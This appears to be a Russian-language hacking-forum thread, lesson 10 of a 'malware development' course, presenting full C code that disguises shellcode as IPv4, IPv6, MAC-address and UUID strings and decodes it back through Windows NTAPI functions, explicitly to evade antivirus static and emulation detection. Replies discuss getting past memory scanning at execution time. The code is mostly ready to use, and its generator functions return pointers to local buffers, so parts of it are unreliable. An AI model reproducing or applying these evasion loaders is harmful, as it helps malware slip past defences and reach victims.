Уроки Разработка малвари-10. Обфускация Payload


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 125
Репутация
8 243
1694513439319.png


В предыдущих статьях обсуждались вопросы размещения полезной нагрузки и её шифрование.

Но как уже было замечено этого не достаточно для сбития детекта, необходимо обойти ещё детект по поведению и эмуляцию кода.

С детектом по поведению немного сложнее, но детект по эмуляции кода можно обойти как вариант обфускацией этого самого кода.)

Предлагаю в этой статье рассмотреть обфускацию полезной нагрузки, далее уже всё зависит что делает ваша ПО, вообще изначально нужно проектировать софт так, что-бы у него не было подозрительного поведения.

В статье будут рассматриваться три способа обфускации...

Что-бы антивирусу или исследователю кода было хорошо, рекомендуется применять шифрование + несколько методов обфускации в комплексе.)

1)IPv4/IPv6Fuscation - это метод обфускации, при котором байты shellcode преобразуются в строки IPv4 или IPv6. Давайте рассмотрим несколько байтов из shellcode Msfvenom x64 calc и проанализируем, как их можно преобразовать в строки IPv4 или IPv6. Для этого примера используются следующие байты:

FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51.

IPv4Fuscation - Поскольку адреса IPv4 состоят из 4 октетов, IPv4Fuscation использует 4 байта для генерации одной строки IPv4, где каждый байт представляет собой октет. Возьмите каждый байт, который в данный момент в формате hex, и преобразуйте его в десятичный формат, чтобы получить один октет. Например, FC равно 252 в десятичной форме, 48 равно 72, 83 равно 131, и E4 равно 228. Таким образом, первые 4 байта примера shellcode, FC 48 83 E4 будут 252.72.131.228.

IPv6Fuscation - Этот метод будет использовать аналогичную логику, как в примере IPv4Fuscation, но вместо использования 4 байтов на IP-адрес, используется 16 байтов для генерации одного адреса IPv6. Кроме того, преобразование байтов в десятичный формат не требуется для адресов IPv6. В качестве примера для указанного shellcode это будет FC48:83E4:F0E8:C000:0000:4151:4150:5251.

Реализация IPv4Fuscation

Теперь, когда логика объяснена, этот раздел будет посвящен реализации IPv4Fuscation. Несколько моментов о приведенном ниже фрагменте кода:

Как уже упоминалось ранее, для генерации адреса IPv4 требуется 4 байта, поэтому shellcode должен состоять из кратного 4 числа байтов. Можно создать функцию, которая дополняет shellcode, если он не соответствует этому требованию.

GenerateIpv4 - это вспомогательная функция, которая принимает 4 байта shellcode и использует sprintf для генерации адреса IPv4.

Наконец, код охватывает только обфускацию, в то время как деобфускация объясняется чуть позже.

C:
// Function takes in 4 raw bytes and returns them in an IPv4 string format
char* GenerateIpv4(int a, int b, int c, int d) {
    unsigned char Output [32];

    // Creating the IPv4 address and saving it to the 'Output' variable
    sprintf(Output, "%d.%d.%d.%d", a, b, c, d);

    // Optional: Print the 'Output' variable to the console
    // printf("[i] Output: %s\n", Output);

    return (char*)Output;
}


// Generate the IPv4 output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateIpv4Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {

    // If the shellcode buffer is null or the size is not a multiple of 4, exit
    if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 4 != 0){
        return FALSE;
    }
    printf("char* Ipv4Array[%d] = { \n\t", (int)(ShellcodeSize / 4));

    // We will read one shellcode byte at a time, when the total is 4, begin generating the IPv4 address
    // The variable 'c' is used to store the number of bytes read. By default, starts at 4.
    int c = 4, counter = 0;
    char* IP = NULL;

    for (int i = 0; i < ShellcodeSize; i++) {

        // Track the number of bytes read and when they reach 4 we enter this if statement to begin generating the IPv4 address
        if (c == 4) {
            counter++;

            // Generating the IPv4 address from 4 bytes which begin at i until [i + 3]
            IP = GenerateIpv4(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3]);

            if (i == ShellcodeSize - 4) {
                // Printing the last IPv4 address
                printf("\"%s\"", IP);
                break;
            }
            else {
                // Printing the IPv4 address
                printf("\"%s\", ", IP);
            }

            c = 1;

            // Optional: To beautify the output on the console
            if (counter % 8 == 0) {
                printf("\n\t");
            }
        }
        else {
            c++;
        }
    }
    printf("\n};\n\n");
    return TRUE;
}

Реализация IPv6Fuscation

При использовании IPv6Fuscation shellcode должен быть кратен 16. Опять же, можно создать функцию, которая дополняет shellcode, если он не соответствует этому требованию.

C:
// Function takes in 16 raw bytes and returns them in an IPv6 address string format
char* GenerateIpv6(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {

    // Each IPv6 segment is 32 bytes
    char Output0[32], Output1[32], Output2[32], Output3[32];

    // There are 4 segments in an IPv6 (32 * 4 = 128)
    char result[128];

    // Generating output0 using the first 4 bytes
    sprintf(Output0, "%0.2X%0.2X:%0.2X%0.2X", a, b, c, d);

    // Generating output1 using the second 4 bytes
    sprintf(Output1, "%0.2X%0.2X:%0.2X%0.2X", e, f, g, h);

    // Generating output2 using the third 4 bytes
    sprintf(Output2, "%0.2X%0.2X:%0.2X%0.2X", i, j, k, l);

    // Generating output3 using the last 4 bytes
    sprintf(Output3, "%0.2X%0.2X:%0.2X%0.2X", m, n, o, p);

    // Combining Output0,1,2,3 to generate the IPv6 address
    sprintf(result, "%s:%s:%s:%s", Output0, Output1, Output2, Output3);

    // Optional: Print the 'result' variable to the console
    // printf("[i] result: %s\n", (char*)result);

    return (char*)result;
}


// Generate the IPv6 output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateIpv6Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
    // If the shellcode buffer is null or the size is not a multiple of 16, exit
    if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 16 != 0){
        return FALSE;
    }
    printf("char* Ipv6Array [%d] = { \n\t", (int)(ShellcodeSize / 16));

    // We will read one shellcode byte at a time, when the total is 16, begin generating the IPv6 address
    // The variable 'c' is used to store the number of bytes read. By default, starts at 16.
    int c = 16, counter = 0;
    char* IP = NULL;

    for (int i = 0; i < ShellcodeSize; i++) {
        // Track the number of bytes read and when they reach 16 we enter this if statement to begin generating the IPv6 address
        if (c == 16) {
            counter++;

            // Generating the IPv6 address from 16 bytes which begin at i until [i + 15]
            IP = GenerateIpv6(
                pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
                pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
                pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
                pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
            );
            if (i == ShellcodeSize - 16) {

                // Printing the last IPv6 address
                printf("\"%s\"", IP);
                break;
            }
            else {
                // Printing the IPv6 address
                printf("\"%s\", ", IP);
            }
            c = 1;

            // Optional: To beautify the output on the console
            if (counter % 3 == 0) {
                printf("\n\t");
            }
        }
        else {
            c++;
        }
    }
    printf("\n};\n\n");
    return TRUE;
}

Деобфускация IPv4/IPv6Fuscation

После того как обфусцированный payload успешно обошел статическое обнаружение, его необходимо деобфусцировать для выполнения. Процесс деобфускации будет обратным процессу обфускации, позволяя генерировать байты из IP-адреса вместо использования байтов для генерации IP-адреса. Деобфускация потребует следующего:

IPv4 Деобфускация - Для этого потребуется использование NTAPI RtlIpv4StringToAddressA. Она преобразует строковое представление IPv4-адреса в бинарный IPv4-адрес.
IPv6 Деобфускация - Аналогично предыдущей функции, для деобфускации IPv6 потребуется использование другой NTAPI RtlIpv6StringToAddressA. Эта функция преобразует IPv6-адрес в бинарный IPv6-адрес.

Деобфускация Payloads IPv4Fuscation

Функция Ipv4Deobfuscation принимает Ipv4Array в качестве первого параметра, который представляет собой массив IPv4-адресов. Второй параметр - это NmbrOfElements, который представляет собой количество IPv4-адресов в массиве Ipv4Array для итерации по размеру массива. Последние 2 параметра, ppDAddress и pDSize, будут использоваться для хранения деобфусцированного payload и его размера соответственно.

Процесс деобфускации начинается с получения адреса функции RtlIpv4StringToAddressA с использованием GetProcAddress и GetModuleHandle. Затем выделяется буфер, который в конечном итоге будет хранить деобфусцированный payload размера NmbrOfElements * 4. Логика за этим размером в том, что каждый IPv4 будет генерировать 4 байта.

Переходим к циклу for. Сначала определяется новая переменная, TmpBuffer, и она устанавливается равной pBuffer. Затем TmpBuffer передается в RtlIpv4StringToAddressA как четвертый параметр, где будет храниться бинарное представление IPv4-адреса. Функция RtlIpv4StringToAddressA записывает 4 байта в буфер TmpBuffer, поэтому после этого TmpBuffer увеличивается на 4, чтобы позволить следующим 4 байтам быть записанным в него без перезаписи предыдущих байтов.

Наконец, ppDAddress и pDSize устанавливаются для хранения базового адреса деобфусцированного payload, а также его размера.

C:
typedef NTSTATUS (NTAPI* fnRtlIpv4StringToAddressA)(
    PCSTR        S,
    BOOLEAN        Strict,
    PCSTR*        Terminator,
       PVOID        Addr
);

BOOL Ipv4Deobfuscation(IN CHAR* Ipv4Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

    PBYTE           pBuffer                 = NULL,
                    TmpBuffer               = NULL;

    SIZE_T          sBuffSize               = NULL;

    PCSTR           Terminator              = NULL;

    NTSTATUS        STATUS                  = NULL;

    // Getting RtlIpv4StringToAddressA address from ntdll.dll
    fnRtlIpv4StringToAddressA pRtlIpv4StringToAddressA = (fnRtlIpv4StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv4StringToAddressA");
    if (pRtlIpv4StringToAddressA == NULL){
        printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Getting the real size of the shellcode which is the number of IPv4 addresses * 4
    sBuffSize = NmbrOfElements * 4;

    // Allocating memory which will hold the deobfuscated shellcode
    pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
    if (pBuffer == NULL){
        printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Setting TmpBuffer to be equal to pBuffer
    TmpBuffer = pBuffer;

    // Loop through all the IPv4 addresses saved in Ipv4Array
    for (int i = 0; i < NmbrOfElements; i++) {

        // Deobfuscating one IPv4 address at a time
        // Ipv4Array[i] is a single ipv4 address from the array Ipv4Array
        if ((STATUS = pRtlIpv4StringToAddressA(Ipv4Array[i], FALSE, &Terminator, TmpBuffer)) != 0x0) {
            // if it failed
            printf("[!] RtlIpv4StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv4Array[i], STATUS);
            return FALSE;
        }

        // 4 bytes are written to TmpBuffer at a time
        // Therefore Tmpbuffer will be incremented by 4 to store the upcoming 4 bytes
        TmpBuffer = (PBYTE)(TmpBuffer + 4);

    }

    // Save the base address & size of the deobfuscated payload
    *ppDAddress     = pBuffer;
    *pDSize         = sBuffSize;

    return TRUE;
}

Следующий рисунок показывает, что указанный код успешно запущен...

1694514355632.png


Деобфускация Payloads IPv6Fuscation

Все шаги в процессе деобфускации для IPv6 такие же, как и для IPv4, за исключением двух основных различий:
  1. Используется RtlIpv6StringToAddressA вместо RtlIpv4StringToAddressA.
  2. Каждый IPv6-адрес деобфусцируется в 16 байтов вместо 4 байтов.
Таким образом, при деобфускации IPv6Fuscation вам нужно будет адаптировать алгоритм, чтобы учитывать длину 16 байтов для каждого адреса и использовать соответствующую функцию для преобразования строкового представления IPv6 обратно в бинарные данные.

C:
typedef NTSTATUS(NTAPI* fnRtlIpv6StringToAddressA)(
    PCSTR        S,
    PCSTR*        Terminator,
    PVOID        Addr
);

BOOL Ipv6Deobfuscation(IN CHAR* Ipv6Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

    PBYTE           pBuffer                 = NULL,
                    TmpBuffer               = NULL;

    SIZE_T          sBuffSize               = NULL;

    PCSTR           Terminator              = NULL;

    NTSTATUS        STATUS                  = NULL;

    // Getting RtlIpv6StringToAddressA address from ntdll.dll
    fnRtlIpv6StringToAddressA pRtlIpv6StringToAddressA = (fnRtlIpv6StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv6StringToAddressA");
    if (pRtlIpv6StringToAddressA == NULL) {
        printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Getting the real size of the shellcode which is the number of IPv6 addresses * 16
    sBuffSize = NmbrOfElements * 16;


    // Allocating memory which will hold the deobfuscated shellcode
    pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
    if (pBuffer == NULL) {
        printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    TmpBuffer = pBuffer;

    // Loop through all the IPv6 addresses saved in Ipv6Array
    for (int i = 0; i < NmbrOfElements; i++) {

        // Deobfuscating one IPv6 address at a time
        // Ipv6Array[i] is a single IPv6 address from the array Ipv6Array
        if ((STATUS = pRtlIpv6StringToAddressA(Ipv6Array[i], &Terminator, TmpBuffer)) != 0x0) {
            // if it failed
            printf("[!] RtlIpv6StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv6Array[i], STATUS);
            return FALSE;
        }

        // 16 bytes are written to TmpBuffer at a time
        // Therefore Tmpbuffer will be incremented by 16 to store the upcoming 16 bytes
        TmpBuffer = (PBYTE)(TmpBuffer + 16);

    }

    // Save the base address & size of the deobfuscated payload
    *ppDAddress  = pBuffer;
    *pDSize      = sBuffSize;

    return TRUE;

}

Следующий рисунок показывает, что указанный код успешно запущен...

1694514668927.png


2)Реализация MACFuscation

Реализация MACFuscation будет аналогична тому, что было сделано в предыдущем модуле с IPv4/IPv6fuscation. MAC-адрес состоит из 6 байтов, поэтому shellcode должен быть кратным 6, который, как и ранее, может быть дополнен, если он не соответствует этому требованию.

Принцип работы очень прост: каждые 6 байтов shellcode преобразуются в один MAC-адрес. Этот подход позволяет создать дополнительный уровень обфускации, так как MAC-адреса являются стандартными и не вызовут подозрений при статическом анализе.

Важно помнить, что, как и с другими методами обфускации, MACFuscation не добавляет дополнительного уровня безопасности или шифрования к shellcode, а просто меняет его внешний вид. Это делается для того, чтобы затруднить обнаружение и анализ shellcode.

C:
// Function takes in 6 raw bytes and returns them in a MAC address string format
char* GenerateMAC(int a, int b, int c, int d, int e, int f) {
    char Output[64];

    // Creating the MAC address and saving it to the 'Output' variable
    sprintf(Output, "%0.2X-%0.2X-%0.2X-%0.2X-%0.2X-%0.2X",a, b, c, d, e, f);

    // Optional: Print the 'Output' variable to the console
    // printf("[i] Output: %s\n", Output);

    return (char*)Output;
}

// Generate the MAC output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateMacOutput(unsigned char* pShellcode, SIZE_T ShellcodeSize) {

    // If the shellcode buffer is null or the size is not a multiple of 6, exit
    if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 6 != 0){
        return FALSE;
    }
    printf("char* MacArray [%d] = {\n\t", (int)(ShellcodeSize / 6));

    // We will read one shellcode byte at a time, when the total is 6, begin generating the MAC address
    // The variable 'c' is used to store the number of bytes read. By default, starts at 6.
    int c = 6, counter = 0;
    char* Mac = NULL;

    for (int i = 0; i < ShellcodeSize; i++) {

        // Track the number of bytes read and when they reach 6 we enter this if statement to begin generating the MAC address
        if (c == 6) {
            counter++;

            // Generating the MAC address from 6 bytes which begin at i until [i + 5]
            Mac = GenerateMAC(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3], pShellcode[i + 4], pShellcode[i + 5]);

            if (i == ShellcodeSize - 6) {

                // Printing the last MAC address
                printf("\"%s\"", Mac);
                break;
            }
            else {
                // Printing the MAC address
                printf("\"%s\", ", Mac);
            }
            c = 1;

            // Optional: To beautify the output on the console
            if (counter % 6 == 0) {
                printf("\n\t");
            }
        }
        else {
            c++;
        }
    }
    printf("\n};\n\n");
    return TRUE;
}

Деобфускация Payloads MACFuscation

Процесс деобфускации будет обратным процессу обфускации, позволяя генерировать байты из MAC-адреса вместо использования байтов для создания MAC-адреса. Для выполнения деобфускации потребуется использование функции NTDLL API - RtlEthernetStringToAddressA. Эта функция преобразует MAC-адрес из строкового представления в его бинарный формат.

Для деобфускации payload, который был обфусцирован с использованием MACFuscation, вы должны будете выполнить следующие шаги:
  1. Инициализация: Получите адрес функции RtlEthernetStringToAddressA с использованием GetProcAddress и GetModuleHandle.
  2. Выделите буфер для деобфусцированного payload. Поскольку каждый MAC-адрес генерирует 6 байтов, размер буфера будет кратен 6.
  3. Итерация: Пройдите через каждый MAC-адрес в обфусцированном payload.
  4. Конвертация: Используйте RtlEthernetStringToAddressA для преобразования каждого MAC-адреса из строкового представления в бинарный формат.
  5. Сохранение: Добавьте преобразованные байты в буфер деобфусцированного payload.
После завершения этого процесса у вас будет деобфусцированный payload, который можно будет исполнить.

C:
typedef NTSTATUS (NTAPI* fnRtlEthernetStringToAddressA)(
    PCSTR        S,
    PCSTR*         Terminator,
    PVOID        Addr
);

BOOL MacDeobfuscation(IN CHAR* MacArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

    PBYTE          pBuffer        = NULL,
                   TmpBuffer      = NULL;

    SIZE_T         sBuffSize      = NULL;

    PCSTR          Terminator     = NULL;

    NTSTATUS       STATUS         = NULL;

    // Getting RtlIpv6StringToAddressA address from ntdll.dll
    fnRtlEthernetStringToAddressA pRtlEthernetStringToAddressA = (fnRtlEthernetStringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlEthernetStringToAddressA");
    if (pRtlEthernetStringToAddressA == NULL) {
        printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Getting the real size of the shellcode which is the number of MAC addresses * 6
    sBuffSize = NmbrOfElements * 6;


    // Allocating memeory which will hold the deobfuscated shellcode
    pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
    if (pBuffer == NULL) {
        printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    TmpBuffer = pBuffer;

    // Loop through all the MAC addresses saved in MacArray
    for (int i = 0; i < NmbrOfElements; i++) {

        // Deobfuscating one MAC address at a time
        // MacArray[i] is a single Mac address from the array MacArray
        if ((STATUS = pRtlEthernetStringToAddressA(MacArray[i], &Terminator, TmpBuffer)) != 0x0) {
            // if it failed
            printf("[!] RtlEthernetStringToAddressA Failed At [%s] With Error 0x%0.8X", MacArray[i], STATUS);
            return FALSE;
        }

        // 6 bytes are written to TmpBuffer at a time
        // Therefore Tmpbuffer will be incremented by 6 to store the
        TmpBuffer = (PBYTE)(TmpBuffer + 6);

    }

    // Save the base address & size of the deobfuscated payload
    *ppDAddress  = pBuffer;
    *pDSize      = sBuffSize;

    return TRUE;

}

Пример запуска кода.

1694514892070.png


3)UUID-Обфускация
Рассмотрим еще одну технику обфускации, которая преобразует shellcode в строку Универсального Уникального Идентификатора (UUID).
UUID представляет собой 36-символьную буквенно-цифровую строку, которую можно использовать для идентификации информации.

Структура UUID

Формат UUID состоит из 5 сегментов разного размера, которые выглядят примерно так: 801B18F0-8320-4ADA-BB13-41EA1C886B87. Изображение ниже иллюстрирует структуру UUID.

1694515123874.png


Преобразование UUID в shellcode является несколько менее очевидным, чем предыдущие методы обфускации. Например, FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51 не преобразуется в FC4883E4-F0E8-C000-0000-415141505251, вместо этого получается E48348FC-E8F0-00C0-0000-415141505251.

Обратите внимание, что первые 3 сегмента используют те же байты в нашем shellcode, но порядок обратный. Причина в том, что первые три сегмента используют порядок байтов little-endian. Для полного понимания давайте разберемся с каждым сегментом.

Little Endian: Сегмент 1: FC 48 83 E4 становится E4 83 48 FC в строке UUID Сегмент 2: E8 F0 становится F0 E8 в строке UUID Сегмент 3: C0 00 становится 00 C0 в строке UUID

Big Endian: Сегмент 4: 00 00 остается 00 00 в строке UUID Сегмент 5: 41 51 41 50 52 51 остается 41 51 41 50 52 51 в строке UUID

Реализация UUIDFuscation: Адрес UUID состоит из 16 байтов, поэтому shellcode должен быть кратен 16. UUIDFuscation будет во многом напоминать IPv6Fuscation из-за того, что оба метода требуют кратности shellcode 16 байтам. Опять же, можно дополнить буфер, если shellcode не соответствует этому требованию.

C:
// Function takes in 16 raw bytes and returns them in a UUID string format
char* GenerateUUid(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {

    // Each UUID segment is 32 bytes
    char Output0[32], Output1[32], Output2[32], Output3[32];

    // There are 4 segments in a UUID (32 * 4 = 128)
    char result[128];

    // Generating output0 from the first 4 bytes
    sprintf(Output0, "%0.2X%0.2X%0.2X%0.2X", d, c, b, a);

    // Generating output1 from the second 4 bytes
    sprintf(Output1, "%0.2X%0.2X-%0.2X%0.2X", f, e, h, g);

    // Generating output2 from the third 4 bytes
    sprintf(Output2, "%0.2X%0.2X-%0.2X%0.2X", i, j, k, l);

    // Generating output3 from the last 4 bytes
    sprintf(Output3, "%0.2X%0.2X%0.2X%0.2X", m, n, o, p);

    // Combining Output0,1,2,3 to generate the UUID
    sprintf(result, "%s-%s-%s%s", Output0, Output1, Output2, Output3);

    //printf("[i] result: %s\n", (char*)result);
    return (char*)result;
}

// Generate the UUID output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateUuidOutput(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
    // If the shellcode buffer is null or the size is not a multiple of 16, exit
    if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 16 != 0) {
        return FALSE;
    }
    printf("char* UuidArray[%d] = { \n\t", (int)(ShellcodeSize / 16));

    // We will read one shellcode byte at a time, when the total is 16, begin generating the UUID string
    // The variable 'c' is used to store the number of bytes read. By default, starts at 16.
    int c = 16, counter = 0;
    char* UUID = NULL;

    for (int i = 0; i < ShellcodeSize; i++) {
        // Track the number of bytes read and when they reach 16 we enter this if statement to begin generating the UUID string
        if (c == 16) {
            counter++;

            // Generating the UUID string from 16 bytes which begin at i until [i + 15]
            UUID = GenerateUUid(
                pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
                pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
                pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
                pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
            );
            if (i == ShellcodeSize - 16) {

                // Printing the last UUID string
                printf("\"%s\"", UUID);
                break;
            }
            else {
                // Printing the UUID string
                printf("\"%s\", ", UUID);
            }
            c = 1;
            // Optional: To beautify the output on the console
            if (counter % 3 == 0) {
                printf("\n\t");
            }
        }
        else {
            c++;
        }
    }
    printf("\n};\n\n");
    return TRUE;
}

Реализация деобфускации UUID

Хотя разные сегменты имеют разный порядок байтов (endianness), это не повлияет на процесс деобфускации, потому что функция WinAPI UuidFromStringA учитывает это.

То есть при использовании функции UuidFromStringA для преобразования строкового представления UUID обратно в бинарный формат, порядок байтов автоматически учитывается внутри функции, и вы получаете правильное бинарное представление без необходимости явно преобразовывать порядок байтов для различных сегментов UUID.

C:
typedef RPC_STATUS (WINAPI* fnUuidFromStringA)(
    RPC_CSTR    StringUuid,
    UUID*        Uuid
);

BOOL UuidDeobfuscation(IN CHAR* UuidArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

        PBYTE          pBuffer         = NULL,
                       TmpBuffer       = NULL;

        SIZE_T         sBuffSize       = NULL;

        RPC_STATUS     STATUS          = NULL;

    // Getting UuidFromStringA address from Rpcrt4.dll
    fnUuidFromStringA pUuidFromStringA = (fnUuidFromStringA)GetProcAddress(LoadLibrary(TEXT("RPCRT4")), "UuidFromStringA");
    if (pUuidFromStringA == NULL) {
        printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Getting the real size of the shellcode which is the number of UUID strings * 16
    sBuffSize = NmbrOfElements * 16;

    // Allocating memory which will hold the deobfuscated shellcode
    pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBuffSize);
    if (pBuffer == NULL) {
        printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Setting TmpBuffer to be equal to pBuffer
    TmpBuffer = pBuffer;

    // Loop through all the UUID strings saved in UuidArray
    for (int i = 0; i < NmbrOfElements; i++) {

        // Deobfuscating one UUID string at a time
        // UuidArray[i] is a single UUID string from the array UuidArray
        if ((STATUS = pUuidFromStringA((RPC_CSTR)UuidArray[i], (UUID*)TmpBuffer)) != RPC_S_OK) {
            // if it failed
            printf("[!] UuidFromStringA Failed At [%s] With Error 0x%0.8X", UuidArray[i], STATUS);
            return FALSE;
        }

        // 16 bytes are written to TmpBuffer at a time
        // Therefore Tmpbuffer will be incremented by 16 to store the upcoming 16 bytes
        TmpBuffer = (PBYTE)(TmpBuffer + 16);

    }

    *ppDAddress = pBuffer;
    *pDSize     = sBuffSize;

    return TRUE;
}

Демонстрация запуска кода:

1694515323996.png
 

Purple

Пользователь
Форумчанин
Регистрация
11.09.2023
Сообщения
16
Репутация
7
Интересно :) Получается, что эмуляцию кода мы уже точно обходим, за счет использования системных функций не по назначению. Это прям как управляющие команды трояну передавать по NTP-протоколу :)

// Save the base address & size of the deobfuscated payload
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
Не полезет ли антивирус поглядеть в оперативную память в этот момент, где с *ppDAddress начнется самое интересное?) Продолжаем следить за тем, как будет развиваться дальнейший сюжет книги :)
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 125
Репутация
8 243
Не полезет ли антивирус поглядеть в оперативную память в этот момент, где с *ppDAddress начнется самое интересное?)
Если мы говорим про статический детект, т.е. эмуляция кода и детект по сигнатурам без запуска кода, то если применять методики обфускации + шифрование + может-быть какие-то задержки, генерация ключа и т.д., то таким образом будет обход детекта, т.е. ав не проверит данные по этому адресу.

А вот если мы говорим про детект на запуск, то скорей-всего проверит и будет детект, в момент когда память станет исполняемой и будет попытка исполнить код.)
 

Purple

Пользователь
Форумчанин
Регистрация
11.09.2023
Сообщения
16
Репутация
7
А вот если мы говорим про детект на запуск, то скорей-всего проверит и будет детект, в момент когда память станет исполняемой и будет попытка исполнить код.)
Интересно, найдется ли далее по книге решение от таких детектов :)
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 125
Репутация
8 243
Интересно, найдется ли далее по книге решение от таких детектов :)
Да, там есть несколько решений.
Но там много статей, там 90 статей, а это только 20-я (Я некоторые статьи объединяю или удаляю).
 

q8yas

Уважаемый пользователь
Форумчанин
Регистрация
17.11.2023
Сообщения
45
Репутация
15
brother any chance to create channel in youtube ?
 

MKII

Уважаемый пользователь
Форумчанин
Регистрация
03.10.2022
Сообщения
256
Репутация
183

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
46
Репутация
3
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
Можете объяснить, почему в данном случае для shellcode используется HeapAlloc , а не VirtualAlloc . Если какой-то из этих вариантов в данном случае предпочтительнее, можете объяснить почему он более предпочтительнее ? ( Это в функции deobfuscate для ipv4 )
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 125
Репутация
8 243
Можете объяснить, почему в данном случае для shellcode используется HeapAlloc , а не VirtualAlloc .
Потому-что VirtualAlloc выделяет память страницами по 4096 байт, ну т.е. размер должен-быть кратен 4кб.

А HeapAlloc может выделить любой размер памяти, поэтому предпочтительней использовать эту функцию, если нет требования выделять память страницами...

По сути HeapAlloc это более высокоуровневая функция, которая при необходимости вызывает VirtualAlloc.
 
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 7
X-Shar Введение в разработку вредоносных программ 8
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 4
X-Shar Введение в разработку вредоносных программ 2
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка малвари-14. Размещаем Payload удаленно на сервере
Уроки Разработка малвари-13.Инъекция шелл-кода в процесс
Уроки Разработка малвари-12. Иньекция в процесс
Уроки Разработка малвари-11. Локальный запуск Payload
Уроки Разработка малвари-9. Шифруем Payload
Уроки Разработка малвари-8. Куда класть нагрузку ?
Уроки Разработка малвари-7. Виды детектов
Уроки Разработка малвари-6. Процессы Windows
Уроки Разработка малвари - 5. Изучаем динамические библиотеки
Уроки Разработка малвари - 4. Шпаргалка по архитектуре винды
Уроки Разработка малвари - 3. Так какой-же язык выбрать !?
Уроки Разработка малвари - 2. Изучаем инструменты
Верх Низ